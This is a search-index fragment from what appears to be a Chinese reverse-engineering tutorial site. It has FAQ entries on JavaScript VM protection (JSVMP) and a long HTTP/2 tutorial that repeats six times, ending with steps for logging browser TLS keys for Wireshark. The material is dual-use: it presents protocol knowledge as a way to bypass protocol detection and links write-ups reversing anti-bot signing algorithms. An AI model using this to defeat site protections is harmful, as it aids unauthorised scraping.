","date":"2025-07-22","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_vm_protection/:8:3","tags":["Web","WebAssembly","加密分析","Hook","视频App","进阶"],"title":"JavaScript 虚拟机保护","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_vm_protection/#q-如何检测代码是否使用了-jsvmp"},{"categories":null,"collections":null,"content":"Q: JSVMP 与代码混淆的区别？ A: 主要区别： 特性 代码混淆 JSVMP 原理 重命名、控制流平坦化等 代码虚拟化 可读性 降低但仍可理解 完全失去语法属性 执行方式 直接执行 虚拟机解释执行 性能影响 较小（0-50%） 较大（2-10 倍） 逆向难度 中 高 可还原性 AST 可部分还原 难以完全还原 ","date":"2025-07-22","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_vm_protection/:8:4","tags":["Web","WebAssembly","加密分析","Hook","视频App","进阶"],"title":"JavaScript 虚拟机保护","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_vm_protection/#q-jsvmp-与代码混淆的区别"},{"categories":null,"collections":null,"content":"Q: 学习 JSVMP 逆向需要哪些基础？ A: 建议掌握以下知识： JavaScript 语言深入理解（作用域、闭包、原型链等） 编译原理基础（词法分析、语法分析、AST） 虚拟机原理（指令集、解释器、字节码） WebAssembly 基础 逆向工程思维和方法 熟练使用浏览器开发者工具 ","date":"2025-07-22","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_vm_protection/:8:5","tags":["Web","WebAssembly","加密分析","Hook","视频App","进阶"],"title":"JavaScript 虚拟机保护","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_vm_protection/#q-学习-jsvmp-逆向需要哪些基础"},{"categories":null,"collections":null,"content":"进阶阅读 ","date":"2025-07-22","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_vm_protection/:9:0","tags":["Web","WebAssembly","加密分析","Hook","视频App","进阶"],"title":"JavaScript 虚拟机保护","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_vm_protection/#进阶阅读"},{"categories":null,"collections":null,"content":"学术论文 匡凯元. 《基于 WebAssembly 的 JavaScript 代码虚拟化保护方法研究与实现》. 西北大学硕士论文, 2018 Stephen Fewer. 《Virtual Machine Based Obfuscation》. 2006 ","date":"2025-07-22","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_vm_protection/:9:1","tags":["Web","WebAssembly","加密分析","Hook","视频App","进阶"],"title":"JavaScript 虚拟机保护","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_vm_protection/#学术论文"},{"categories":null,"collections":null,"content":"技术博客 深入了解 JS 加密技术及 JSVMP 保护原理分析 JS 虚拟化代码虚拟化保护原理分析 JSVMP 分析 - CSDN JavaScript VMP 分析与调试 VMP（虚拟机保护）原理、工程落地、性能权衡与玩具实现 ","date":"2025-07-22","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_vm_protection/:9:2","tags":["Web","WebAssembly","加密分析","Hook","视频App","进阶"],"title":"JavaScript 虚拟机保护","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_vm_protection/#技术博客"},{"categories":null,"collections":null,"content":"实战案例 某音 X-Bogus 逆向分析，JSVMP 纯算法还原 JSVMP 逆向实战 x-s、x-t 算法还原 JSVMP 编译与反编译详解 JSVMP 逆向（补环境篇） ","date":"2025-07-22","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_vm_protection/:9:3","tags":["Web","WebAssembly","加密分析","Hook","视频App","进阶"],"title":"JavaScript 虚拟机保护","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_vm_protection/#实战案例"},{"categories":null,"collections":null,"content":"开源项目 vm2 - Node.js 沙箱虚拟机 js-sandbox - JavaScript 沙箱 Emscripten - C/C++ 到 WebAssembly 编译器 ","date":"2025-07-22","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_vm_protection/:9:4","tags":["Web","WebAssembly","加密分析","Hook","视频App","进阶"],"title":"JavaScript 虚拟机保护","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_vm_protection/#开源项目"},{"categories":null,"collections":null,"content":"相关章节 WebAssembly 逆向 - WebAssembly 技术基础 JavaScript 反混淆 - 代码反混淆技术 AST 解析和操作 - AST 工具使用 浏览器调试技巧 - 高级调试方法 前端加固技术 - 其他前端保护技术 ","date":"2025-07-22","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_vm_protection/:10:0","tags":["Web","WebAssembly","加密分析","Hook","视频App","进阶"],"title":"JavaScript 虚拟机保护","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_vm_protection/#相关章节"},{"categories":null,"collections":null,"content":"HTTP/2 与 HTTP/3 ","date":"2025-07-11","objectID":"/reverse_engineering/web/04-advanced-recipes/http2_http3/:0:0","tags":["Web","浏览器指纹","代理池","WebAssembly","SSL Pinning","加密分析"],"title":"HTTP/2 与 HTTP/3","uri":"/reverse_engineering/web/04-advanced-recipes/http2_http3/#http2-与-http3"},{"categories":null,"collections":null,"content":"概述 HTTP/2 和 HTTP/3 是 HTTP 协议的最新版本，带来了性能提升和新的特性。在逆向工程中，理解这些协议的工作原理对于分析现代 Web 应用至关重要。 为什么要学习 HTTP/2 和 HTTP/3？ 现代网站的标准: 大部分主流网站已迁移到 HTTP/2，HTTP/3 也在快速普及 性能优化: 多路复用、头部压缩等特性改变了请求模式 逆向难度增加: 二进制协议、加密传输增加了分析难度 指纹识别: TLS 指纹和协议特征可用于检测自动化工具 ","date":"2025-07-11","objectID":"/reverse_engineering/web/04-advanced-recipes/http2_http3/:1:0","tags":["Web","浏览器指纹","代理池","WebAssembly","SSL Pinning","加密分析"],"title":"HTTP/2 与 HTTP/3","uri":"/reverse_engineering/web/04-advanced-recipes/http2_http3/#概述"},{"categories":null,"collections":null,"content":"📚 前置知识 在开始本配方之前，建议先掌握以下内容： 知识领域 重要程度 参考资料 HTTP/HTTPS 协议 必需 HTTP/HTTPS 协议 TLS/SSL 握手 必需 TLS/SSL 握手 Chrome DevTools 推荐 浏览器开发者工具 Wireshark 使用 推荐 Wireshark 指南 💡 提示: HTTP/2 和 HTTP/3 是二进制协议，无法直接用文本工具查看。理解这些协议的工作原理，对于调试现代 Web 应用和绕过协议检测非常重要。 ","date":"2025-07-11","objectID":"/reverse_engineering/web/04-advanced-recipes/http2_http3/:2:0","tags":["Web","浏览器指纹","代理池","WebAssembly","SSL Pinning","加密分析"],"title":"HTTP/2 与 HTTP/3","uri":"/reverse_engineering/web/04-advanced-recipes/http2_http3/#-前置知识"},{"categories":null,"collections":null,"content":"1. HTTP/1.x 的局限性 ","date":"2025-07-11","objectID":"/reverse_engineering/web/04-advanced-recipes/http2_http3/:3:0","tags":["Web","浏览器指纹","代理池","WebAssembly","SSL Pinning","加密分析"],"title":"HTTP/2 与 HTTP/3","uri":"/reverse_engineering/web/04-advanced-recipes/http2_http3/#1-http1x-的局限性"},{"categories":null,"collections":null,"content":"1.1 队头阻塞 (Head-of-Line Blocking) 问题: HTTP/1.1 在单个 TCP 连接上一次只能处理一个请求 请求1: |========== 响应 ==========| 请求2: |===== 响应 =====| 请求3: |== 响应 ==| 影响: 前面的慢请求会阻塞后面的所有请求 变通方案 (HTTP/1.1): Pipeline: 发送多个请求但仍按顺序响应（浏览器默认禁用） Domain Sharding: 使用多个域名增加并发连接数 连接复用: 保持连接 (Keep-Alive) 限制: 浏览器通常限制每个域名最多 6 个并发连接 ","date":"2025-07-11","objectID":"/reverse_engineering/web/04-advanced-recipes/http2_http3/:3:1","tags":["Web","浏览器指纹","代理池","WebAssembly","SSL Pinning","加密分析"],"title":"HTTP/2 与 HTTP/3","uri":"/reverse_engineering/web/04-advanced-recipes/http2_http3/#11-队头阻塞-head-of-line-blocking"},{"categories":null,"collections":null,"content":"1.2 头部冗余 问题: 每个请求都重复发送相同的 HTTP 头部 GET /api/data?id=1 HTTP/1.1 Host: example.com User-Agent: Mozilla/5.0... Accept: application/json Cookie: session=abc123... GET /api/data?id=2 HTTP/1.1 Host: example.com User-Agent: Mozilla/5.0... \u003c-- 重复 Accept: application/json \u003c-- 重复 Cookie: session=abc123... \u003c-- 重复 影响: 带宽浪费，尤其是移动网络 ","date":"2025-07-11","objectID":"/reverse_engineering/web/04-advanced-recipes/http2_http3/:3:2","tags":["Web","浏览器指纹","代理池","WebAssembly","SSL Pinning","加密分析"],"title":"HTTP/2 与 HTTP/3","uri":"/reverse_engineering/web/04-advanced-recipes/http2_http3/#12-头部冗余"},{"categories":null,"collections":null,"content":"1.3 明文协议 问题: HTTP/1.x 本身不强制加密 安全风险: 中间人攻击 流量嗅探 内容篡改 ","date":"2025-07-11","objectID":"/reverse_engineering/web/04-advanced-recipes/http2_http3/:3:3","tags":["Web","浏览器指纹","代理池","WebAssembly","SSL Pinning","加密分析"],"title":"HTTP/2 与 HTTP/3","uri":"/reverse_engineering/web/04-advanced-recipes/http2_http3/#13-明文协议"},{"categories":null,"collections":null,"content":"2. HTTP/2 详解 ","date":"2025-07-11","objectID":"/reverse_engineering/web/04-advanced-recipes/http2_http3/:4:0","tags":["Web","浏览器指纹","代理池","WebAssembly","SSL Pinning","加密分析"],"title":"HTTP/2 与 HTTP/3","uri":"/reverse_engineering/web/04-advanced-recipes/http2_http3/#2-http2-详解"},{"categories":null,"collections":null,"content":"2.1 核心特性 2.1.1 二进制分帧 (Binary Framing) HTTP/1.x: 基于文本，使用换行符分隔 GET /index.html HTTP/1.1\\r\\n Host: example.com\\r\\n \\r\\n HTTP/2: 基于二进制帧 +-----------------------------------------------+ | Frame Header | +-----------------------------------------------+ | Length (24) | Type (8) | Flags (8) | R |Stream| +-----------------------------------------------+ | Frame Payload | +-----------------------------------------------+ 帧类型: HEADERS: HTTP 头部 DATA: 消息体 PRIORITY: 优先级 RST_STREAM: 重置流 SETTINGS: 连接设置 PUSH_PROMISE: 服务器推送 PING: 心跳检测 GOAWAY: 连接关闭 WINDOW_UPDATE: 流量控制 CONTINUATION: 头部延续 逆向影响: ✅ 更高效: 解析速度快 ❌ 不可读: 无法直接用 cat 查看 需要工具: Wireshark、Chrome DevTools 2.1.2 多路复用 (Multiplexing) 原理: 在单个 TCP 连接上并发多个 HTTP 流 (Streams) TCP 连接 | ├── Stream 1: GET /css/style.css ├── Stream 3: GET /js/app.js ├── Stream 5: GET /img/logo.png └── Stream 7: POST /api/submit 优势: 消除队头阻塞: 请求和响应不再相互阻塞 减少连接数: 一个域名只需一个连接 降低延迟: 同时发送多个请求 逆向影响: Network 面板中请求顺序与实际发送顺序可能不同 无法通过请求顺序判断逻辑流程 需要关注 Stream ID 而非时间戳 Chrome DevTools 中查看: 打开 Network 面板 右键表头 → 勾选 “Protocol” 查看协议列显示 h2（HTTP/2） 2.1.3 头部压缩 (HPACK) 原理: 使用专用压缩算法（HPACK）和静态/动态表 静态表 (常见头部预定义): Index | Header Name | Header Value ------+-----------------+------------- 1 | :authority | 2 | :method | GET 3 | :method | POST 4 | :path | / 5 | :path | /index.html ... 动态表 (会话中出现的头部): 62 | cookie: session=abc123 63 | user-agent: Mozilla/5.0... 编码示例: # 原始头部 :method: GET :path: /api/user cookie: session=abc123 # HPACK 编码 (简化表示) 82 # :method GET (静态表索引 2) 84 # :path /api/user (字面量) BE # cookie: session=abc123 (动态表索引 62) 压缩率: 通常可达 70-90% 逆向难点: 头部是动态压缩的，无法直接解析 需要维护会话状态才能正确解码 工具支持: Wireshark 自动解压 2.1.4 服务器推送 (Server Push) 原理: 服务器主动推送客户端未请求的资源 流程: 客户端 -\u003e 服务器: GET /index.html 服务器 -\u003e 客户端: PUSH_PROMISE stream=2 (推送 /style.css) 服务器 -\u003e 客户端: HEADERS stream=1 (响应 index.html) 服务器 -\u003e 客户端: DATA stream=1 (\u003chtml\u003e...) 服务器 -\u003e 客户端: HEADERS stream=2 (响应 style.css) 服务器 -\u003e 客户端: DATA stream=2 (body { ... }) 好处: 减少往返延迟 (RTT) 提前加载关键资源 逆向注意: Network 面板中看到 Push 标记 可能看到未发起请求的资源加载 2.1.5 流量控制 (Flow Control) 原理: 使用 WINDOW_UPDATE 帧控制发送速率 场景: 防止快速发送方压垮慢速接收方 发送方 接收方 | | |---- DATA (16KB) ----\u003e| | | (缓冲区满) |\u003c-- WINDOW_UPDATE ---| (通知可接收) |---- DATA (16KB) ----\u003e| ","date":"2025-07-11","objectID":"/reverse_engineering/web/04-advanced-recipes/http2_http3/:4:1","tags":["Web","浏览器指纹","代理池","WebAssembly","SSL Pinning","加密分析"],"title":"HTTP/2 与 HTTP/3","uri":"/reverse_engineering/web/04-advanced-recipes/http2_http3/#21-核心特性"},{"categories":null,"collections":null,"content":"2.1 核心特性 2.1.1 二进制分帧 (Binary Framing) HTTP/1.x: 基于文本，使用换行符分隔 GET /index.html HTTP/1.1\\r\\n Host: example.com\\r\\n \\r\\n HTTP/2: 基于二进制帧 +-----------------------------------------------+ | Frame Header | +-----------------------------------------------+ | Length (24) | Type (8) | Flags (8) | R |Stream| +-----------------------------------------------+ | Frame Payload | +-----------------------------------------------+ 帧类型: HEADERS: HTTP 头部 DATA: 消息体 PRIORITY: 优先级 RST_STREAM: 重置流 SETTINGS: 连接设置 PUSH_PROMISE: 服务器推送 PING: 心跳检测 GOAWAY: 连接关闭 WINDOW_UPDATE: 流量控制 CONTINUATION: 头部延续 逆向影响: ✅ 更高效: 解析速度快 ❌ 不可读: 无法直接用 cat 查看 需要工具: Wireshark、Chrome DevTools 2.1.2 多路复用 (Multiplexing) 原理: 在单个 TCP 连接上并发多个 HTTP 流 (Streams) TCP 连接 | ├── Stream 1: GET /css/style.css ├── Stream 3: GET /js/app.js ├── Stream 5: GET /img/logo.png └── Stream 7: POST /api/submit 优势: 消除队头阻塞: 请求和响应不再相互阻塞 减少连接数: 一个域名只需一个连接 降低延迟: 同时发送多个请求 逆向影响: Network 面板中请求顺序与实际发送顺序可能不同 无法通过请求顺序判断逻辑流程 需要关注 Stream ID 而非时间戳 Chrome DevTools 中查看: 打开 Network 面板 右键表头 → 勾选 “Protocol” 查看协议列显示 h2（HTTP/2） 2.1.3 头部压缩 (HPACK) 原理: 使用专用压缩算法（HPACK）和静态/动态表 静态表 (常见头部预定义): Index | Header Name | Header Value ------+-----------------+------------- 1 | :authority | 2 | :method | GET 3 | :method | POST 4 | :path | / 5 | :path | /index.html ... 动态表 (会话中出现的头部): 62 | cookie: session=abc123 63 | user-agent: Mozilla/5.0... 编码示例: # 原始头部 :method: GET :path: /api/user cookie: session=abc123 # HPACK 编码 (简化表示) 82 # :method GET (静态表索引 2) 84 # :path /api/user (字面量) BE # cookie: session=abc123 (动态表索引 62) 压缩率: 通常可达 70-90% 逆向难点: 头部是动态压缩的，无法直接解析 需要维护会话状态才能正确解码 工具支持: Wireshark 自动解压 2.1.4 服务器推送 (Server Push) 原理: 服务器主动推送客户端未请求的资源 流程: 客户端 -\u003e 服务器: GET /index.html 服务器 -\u003e 客户端: PUSH_PROMISE stream=2 (推送 /style.css) 服务器 -\u003e 客户端: HEADERS stream=1 (响应 index.html) 服务器 -\u003e 客户端: DATA stream=1 (...) 服务器 -\u003e 客户端: HEADERS stream=2 (响应 style.css) 服务器 -\u003e 客户端: DATA stream=2 (body { ... }) 好处: 减少往返延迟 (RTT) 提前加载关键资源 逆向注意: Network 面板中看到 Push 标记 可能看到未发起请求的资源加载 2.1.5 流量控制 (Flow Control) 原理: 使用 WINDOW_UPDATE 帧控制发送速率 场景: 防止快速发送方压垮慢速接收方 发送方 接收方 | | |---- DATA (16KB) ----\u003e| | | (缓冲区满) |\u003c-- WINDOW_UPDATE ---| (通知可接收) |---- DATA (16KB) ----\u003e| ","date":"2025-07-11","objectID":"/reverse_engineering/web/04-advanced-recipes/http2_http3/:4:1","tags":["Web","浏览器指纹","代理池","WebAssembly","SSL Pinning","加密分析"],"title":"HTTP/2 与 HTTP/3","uri":"/reverse_engineering/web/04-advanced-recipes/http2_http3/#211-二进制分帧-binary-framing"},{"categories":null,"collections":null,"content":"2.1 核心特性 2.1.1 二进制分帧 (Binary Framing) HTTP/1.x: 基于文本，使用换行符分隔 GET /index.html HTTP/1.1\\r\\n Host: example.com\\r\\n \\r\\n HTTP/2: 基于二进制帧 +-----------------------------------------------+ | Frame Header | +-----------------------------------------------+ | Length (24) | Type (8) | Flags (8) | R |Stream| +-----------------------------------------------+ | Frame Payload | +-----------------------------------------------+ 帧类型: HEADERS: HTTP 头部 DATA: 消息体 PRIORITY: 优先级 RST_STREAM: 重置流 SETTINGS: 连接设置 PUSH_PROMISE: 服务器推送 PING: 心跳检测 GOAWAY: 连接关闭 WINDOW_UPDATE: 流量控制 CONTINUATION: 头部延续 逆向影响: ✅ 更高效: 解析速度快 ❌ 不可读: 无法直接用 cat 查看 需要工具: Wireshark、Chrome DevTools 2.1.2 多路复用 (Multiplexing) 原理: 在单个 TCP 连接上并发多个 HTTP 流 (Streams) TCP 连接 | ├── Stream 1: GET /css/style.css ├── Stream 3: GET /js/app.js ├── Stream 5: GET /img/logo.png └── Stream 7: POST /api/submit 优势: 消除队头阻塞: 请求和响应不再相互阻塞 减少连接数: 一个域名只需一个连接 降低延迟: 同时发送多个请求 逆向影响: Network 面板中请求顺序与实际发送顺序可能不同 无法通过请求顺序判断逻辑流程 需要关注 Stream ID 而非时间戳 Chrome DevTools 中查看: 打开 Network 面板 右键表头 → 勾选 “Protocol” 查看协议列显示 h2（HTTP/2） 2.1.3 头部压缩 (HPACK) 原理: 使用专用压缩算法（HPACK）和静态/动态表 静态表 (常见头部预定义): Index | Header Name | Header Value ------+-----------------+------------- 1 | :authority | 2 | :method | GET 3 | :method | POST 4 | :path | / 5 | :path | /index.html ... 动态表 (会话中出现的头部): 62 | cookie: session=abc123 63 | user-agent: Mozilla/5.0... 编码示例: # 原始头部 :method: GET :path: /api/user cookie: session=abc123 # HPACK 编码 (简化表示) 82 # :method GET (静态表索引 2) 84 # :path /api/user (字面量) BE # cookie: session=abc123 (动态表索引 62) 压缩率: 通常可达 70-90% 逆向难点: 头部是动态压缩的，无法直接解析 需要维护会话状态才能正确解码 工具支持: Wireshark 自动解压 2.1.4 服务器推送 (Server Push) 原理: 服务器主动推送客户端未请求的资源 流程: 客户端 -\u003e 服务器: GET /index.html 服务器 -\u003e 客户端: PUSH_PROMISE stream=2 (推送 /style.css) 服务器 -\u003e 客户端: HEADERS stream=1 (响应 index.html) 服务器 -\u003e 客户端: DATA stream=1 (...) 服务器 -\u003e 客户端: HEADERS stream=2 (响应 style.css) 服务器 -\u003e 客户端: DATA stream=2 (body { ... }) 好处: 减少往返延迟 (RTT) 提前加载关键资源 逆向注意: Network 面板中看到 Push 标记 可能看到未发起请求的资源加载 2.1.5 流量控制 (Flow Control) 原理: 使用 WINDOW_UPDATE 帧控制发送速率 场景: 防止快速发送方压垮慢速接收方 发送方 接收方 | | |---- DATA (16KB) ----\u003e| | | (缓冲区满) |\u003c-- WINDOW_UPDATE ---| (通知可接收) |---- DATA (16KB) ----\u003e| ","date":"2025-07-11","objectID":"/reverse_engineering/web/04-advanced-recipes/http2_http3/:4:1","tags":["Web","浏览器指纹","代理池","WebAssembly","SSL Pinning","加密分析"],"title":"HTTP/2 与 HTTP/3","uri":"/reverse_engineering/web/04-advanced-recipes/http2_http3/#212-多路复用-multiplexing"},{"categories":null,"collections":null,"content":"2.1 核心特性 2.1.1 二进制分帧 (Binary Framing) HTTP/1.x: 基于文本，使用换行符分隔 GET /index.html HTTP/1.1\\r\\n Host: example.com\\r\\n \\r\\n HTTP/2: 基于二进制帧 +-----------------------------------------------+ | Frame Header | +-----------------------------------------------+ | Length (24) | Type (8) | Flags (8) | R |Stream| +-----------------------------------------------+ | Frame Payload | +-----------------------------------------------+ 帧类型: HEADERS: HTTP 头部 DATA: 消息体 PRIORITY: 优先级 RST_STREAM: 重置流 SETTINGS: 连接设置 PUSH_PROMISE: 服务器推送 PING: 心跳检测 GOAWAY: 连接关闭 WINDOW_UPDATE: 流量控制 CONTINUATION: 头部延续 逆向影响: ✅ 更高效: 解析速度快 ❌ 不可读: 无法直接用 cat 查看 需要工具: Wireshark、Chrome DevTools 2.1.2 多路复用 (Multiplexing) 原理: 在单个 TCP 连接上并发多个 HTTP 流 (Streams) TCP 连接 | ├── Stream 1: GET /css/style.css ├── Stream 3: GET /js/app.js ├── Stream 5: GET /img/logo.png └── Stream 7: POST /api/submit 优势: 消除队头阻塞: 请求和响应不再相互阻塞 减少连接数: 一个域名只需一个连接 降低延迟: 同时发送多个请求 逆向影响: Network 面板中请求顺序与实际发送顺序可能不同 无法通过请求顺序判断逻辑流程 需要关注 Stream ID 而非时间戳 Chrome DevTools 中查看: 打开 Network 面板 右键表头 → 勾选 “Protocol” 查看协议列显示 h2（HTTP/2） 2.1.3 头部压缩 (HPACK) 原理: 使用专用压缩算法（HPACK）和静态/动态表 静态表 (常见头部预定义): Index | Header Name | Header Value ------+-----------------+------------- 1 | :authority | 2 | :method | GET 3 | :method | POST 4 | :path | / 5 | :path | /index.html ... 动态表 (会话中出现的头部): 62 | cookie: session=abc123 63 | user-agent: Mozilla/5.0... 编码示例: # 原始头部 :method: GET :path: /api/user cookie: session=abc123 # HPACK 编码 (简化表示) 82 # :method GET (静态表索引 2) 84 # :path /api/user (字面量) BE # cookie: session=abc123 (动态表索引 62) 压缩率: 通常可达 70-90% 逆向难点: 头部是动态压缩的，无法直接解析 需要维护会话状态才能正确解码 工具支持: Wireshark 自动解压 2.1.4 服务器推送 (Server Push) 原理: 服务器主动推送客户端未请求的资源 流程: 客户端 -\u003e 服务器: GET /index.html 服务器 -\u003e 客户端: PUSH_PROMISE stream=2 (推送 /style.css) 服务器 -\u003e 客户端: HEADERS stream=1 (响应 index.html) 服务器 -\u003e 客户端: DATA stream=1 (...) 服务器 -\u003e 客户端: HEADERS stream=2 (响应 style.css) 服务器 -\u003e 客户端: DATA stream=2 (body { ... }) 好处: 减少往返延迟 (RTT) 提前加载关键资源 逆向注意: Network 面板中看到 Push 标记 可能看到未发起请求的资源加载 2.1.5 流量控制 (Flow Control) 原理: 使用 WINDOW_UPDATE 帧控制发送速率 场景: 防止快速发送方压垮慢速接收方 发送方 接收方 | | |---- DATA (16KB) ----\u003e| | | (缓冲区满) |\u003c-- WINDOW_UPDATE ---| (通知可接收) |---- DATA (16KB) ----\u003e| ","date":"2025-07-11","objectID":"/reverse_engineering/web/04-advanced-recipes/http2_http3/:4:1","tags":["Web","浏览器指纹","代理池","WebAssembly","SSL Pinning","加密分析"],"title":"HTTP/2 与 HTTP/3","uri":"/reverse_engineering/web/04-advanced-recipes/http2_http3/#213-头部压缩-hpack"},{"categories":null,"collections":null,"content":"2.1 核心特性 2.1.1 二进制分帧 (Binary Framing) HTTP/1.x: 基于文本，使用换行符分隔 GET /index.html HTTP/1.1\\r\\n Host: example.com\\r\\n \\r\\n HTTP/2: 基于二进制帧 +-----------------------------------------------+ | Frame Header | +-----------------------------------------------+ | Length (24) | Type (8) | Flags (8) | R |Stream| +-----------------------------------------------+ | Frame Payload | +-----------------------------------------------+ 帧类型: HEADERS: HTTP 头部 DATA: 消息体 PRIORITY: 优先级 RST_STREAM: 重置流 SETTINGS: 连接设置 PUSH_PROMISE: 服务器推送 PING: 心跳检测 GOAWAY: 连接关闭 WINDOW_UPDATE: 流量控制 CONTINUATION: 头部延续 逆向影响: ✅ 更高效: 解析速度快 ❌ 不可读: 无法直接用 cat 查看 需要工具: Wireshark、Chrome DevTools 2.1.2 多路复用 (Multiplexing) 原理: 在单个 TCP 连接上并发多个 HTTP 流 (Streams) TCP 连接 | ├── Stream 1: GET /css/style.css ├── Stream 3: GET /js/app.js ├── Stream 5: GET /img/logo.png └── Stream 7: POST /api/submit 优势: 消除队头阻塞: 请求和响应不再相互阻塞 减少连接数: 一个域名只需一个连接 降低延迟: 同时发送多个请求 逆向影响: Network 面板中请求顺序与实际发送顺序可能不同 无法通过请求顺序判断逻辑流程 需要关注 Stream ID 而非时间戳 Chrome DevTools 中查看: 打开 Network 面板 右键表头 → 勾选 “Protocol” 查看协议列显示 h2（HTTP/2） 2.1.3 头部压缩 (HPACK) 原理: 使用专用压缩算法（HPACK）和静态/动态表 静态表 (常见头部预定义): Index | Header Name | Header Value ------+-----------------+------------- 1 | :authority | 2 | :method | GET 3 | :method | POST 4 | :path | / 5 | :path | /index.html ... 动态表 (会话中出现的头部): 62 | cookie: session=abc123 63 | user-agent: Mozilla/5.0... 编码示例: # 原始头部 :method: GET :path: /api/user cookie: session=abc123 # HPACK 编码 (简化表示) 82 # :method GET (静态表索引 2) 84 # :path /api/user (字面量) BE # cookie: session=abc123 (动态表索引 62) 压缩率: 通常可达 70-90% 逆向难点: 头部是动态压缩的，无法直接解析 需要维护会话状态才能正确解码 工具支持: Wireshark 自动解压 2.1.4 服务器推送 (Server Push) 原理: 服务器主动推送客户端未请求的资源 流程: 客户端 -\u003e 服务器: GET /index.html 服务器 -\u003e 客户端: PUSH_PROMISE stream=2 (推送 /style.css) 服务器 -\u003e 客户端: HEADERS stream=1 (响应 index.html) 服务器 -\u003e 客户端: DATA stream=1 (...) 服务器 -\u003e 客户端: HEADERS stream=2 (响应 style.css) 服务器 -\u003e 客户端: DATA stream=2 (body { ... }) 好处: 减少往返延迟 (RTT) 提前加载关键资源 逆向注意: Network 面板中看到 Push 标记 可能看到未发起请求的资源加载 2.1.5 流量控制 (Flow Control) 原理: 使用 WINDOW_UPDATE 帧控制发送速率 场景: 防止快速发送方压垮慢速接收方 发送方 接收方 | | |---- DATA (16KB) ----\u003e| | | (缓冲区满) |\u003c-- WINDOW_UPDATE ---| (通知可接收) |---- DATA (16KB) ----\u003e| ","date":"2025-07-11","objectID":"/reverse_engineering/web/04-advanced-recipes/http2_http3/:4:1","tags":["Web","浏览器指纹","代理池","WebAssembly","SSL Pinning","加密分析"],"title":"HTTP/2 与 HTTP/3","uri":"/reverse_engineering/web/04-advanced-recipes/http2_http3/#214-服务器推送-server-push"},{"categories":null,"collections":null,"content":"2.1 核心特性 2.1.1 二进制分帧 (Binary Framing) HTTP/1.x: 基于文本，使用换行符分隔 GET /index.html HTTP/1.1\\r\\n Host: example.com\\r\\n \\r\\n HTTP/2: 基于二进制帧 +-----------------------------------------------+ | Frame Header | +-----------------------------------------------+ | Length (24) | Type (8) | Flags (8) | R |Stream| +-----------------------------------------------+ | Frame Payload | +-----------------------------------------------+ 帧类型: HEADERS: HTTP 头部 DATA: 消息体 PRIORITY: 优先级 RST_STREAM: 重置流 SETTINGS: 连接设置 PUSH_PROMISE: 服务器推送 PING: 心跳检测 GOAWAY: 连接关闭 WINDOW_UPDATE: 流量控制 CONTINUATION: 头部延续 逆向影响: ✅ 更高效: 解析速度快 ❌ 不可读: 无法直接用 cat 查看 需要工具: Wireshark、Chrome DevTools 2.1.2 多路复用 (Multiplexing) 原理: 在单个 TCP 连接上并发多个 HTTP 流 (Streams) TCP 连接 | ├── Stream 1: GET /css/style.css ├── Stream 3: GET /js/app.js ├── Stream 5: GET /img/logo.png └── Stream 7: POST /api/submit 优势: 消除队头阻塞: 请求和响应不再相互阻塞 减少连接数: 一个域名只需一个连接 降低延迟: 同时发送多个请求 逆向影响: Network 面板中请求顺序与实际发送顺序可能不同 无法通过请求顺序判断逻辑流程 需要关注 Stream ID 而非时间戳 Chrome DevTools 中查看: 打开 Network 面板 右键表头 → 勾选 “Protocol” 查看协议列显示 h2（HTTP/2） 2.1.3 头部压缩 (HPACK) 原理: 使用专用压缩算法（HPACK）和静态/动态表 静态表 (常见头部预定义): Index | Header Name | Header Value ------+-----------------+------------- 1 | :authority | 2 | :method | GET 3 | :method | POST 4 | :path | / 5 | :path | /index.html ... 动态表 (会话中出现的头部): 62 | cookie: session=abc123 63 | user-agent: Mozilla/5.0... 编码示例: # 原始头部 :method: GET :path: /api/user cookie: session=abc123 # HPACK 编码 (简化表示) 82 # :method GET (静态表索引 2) 84 # :path /api/user (字面量) BE # cookie: session=abc123 (动态表索引 62) 压缩率: 通常可达 70-90% 逆向难点: 头部是动态压缩的，无法直接解析 需要维护会话状态才能正确解码 工具支持: Wireshark 自动解压 2.1.4 服务器推送 (Server Push) 原理: 服务器主动推送客户端未请求的资源 流程: 客户端 -\u003e 服务器: GET /index.html 服务器 -\u003e 客户端: PUSH_PROMISE stream=2 (推送 /style.css) 服务器 -\u003e 客户端: HEADERS stream=1 (响应 index.html) 服务器 -\u003e 客户端: DATA stream=1 (...) 服务器 -\u003e 客户端: HEADERS stream=2 (响应 style.css) 服务器 -\u003e 客户端: DATA stream=2 (body { ... }) 好处: 减少往返延迟 (RTT) 提前加载关键资源 逆向注意: Network 面板中看到 Push 标记 可能看到未发起请求的资源加载 2.1.5 流量控制 (Flow Control) 原理: 使用 WINDOW_UPDATE 帧控制发送速率 场景: 防止快速发送方压垮慢速接收方 发送方 接收方 | | |---- DATA (16KB) ----\u003e| | | (缓冲区满) |\u003c-- WINDOW_UPDATE ---| (通知可接收) |---- DATA (16KB) ----\u003e| ","date":"2025-07-11","objectID":"/reverse_engineering/web/04-advanced-recipes/http2_http3/:4:1","tags":["Web","浏览器指纹","代理池","WebAssembly","SSL Pinning","加密分析"],"title":"HTTP/2 与 HTTP/3","uri":"/reverse_engineering/web/04-advanced-recipes/http2_http3/#215-流量控制-flow-control"},{"categories":null,"collections":null,"content":"2.2 HTTP/2 抓包与分析 使用 Wireshark 分析 HTTP/2 步骤: 启动抓包: 捕获 HTTPS 流量 解密 TLS: 设置 SSL/TLS 解密（需要私钥或浏览器密钥日志） 过滤 HTTP/2: 使用过滤器 http2 Chrome 导出密钥日志: # macOS/Linux export SSLKEYLOGFILE=~/sslkeys.log /Applications/Google\\ Chrome.app/Contents/MacOS/Google\\ Chrome # Windows set SSLKEYLOGFILE=C:\\sslkeys.log \"C:\\Program 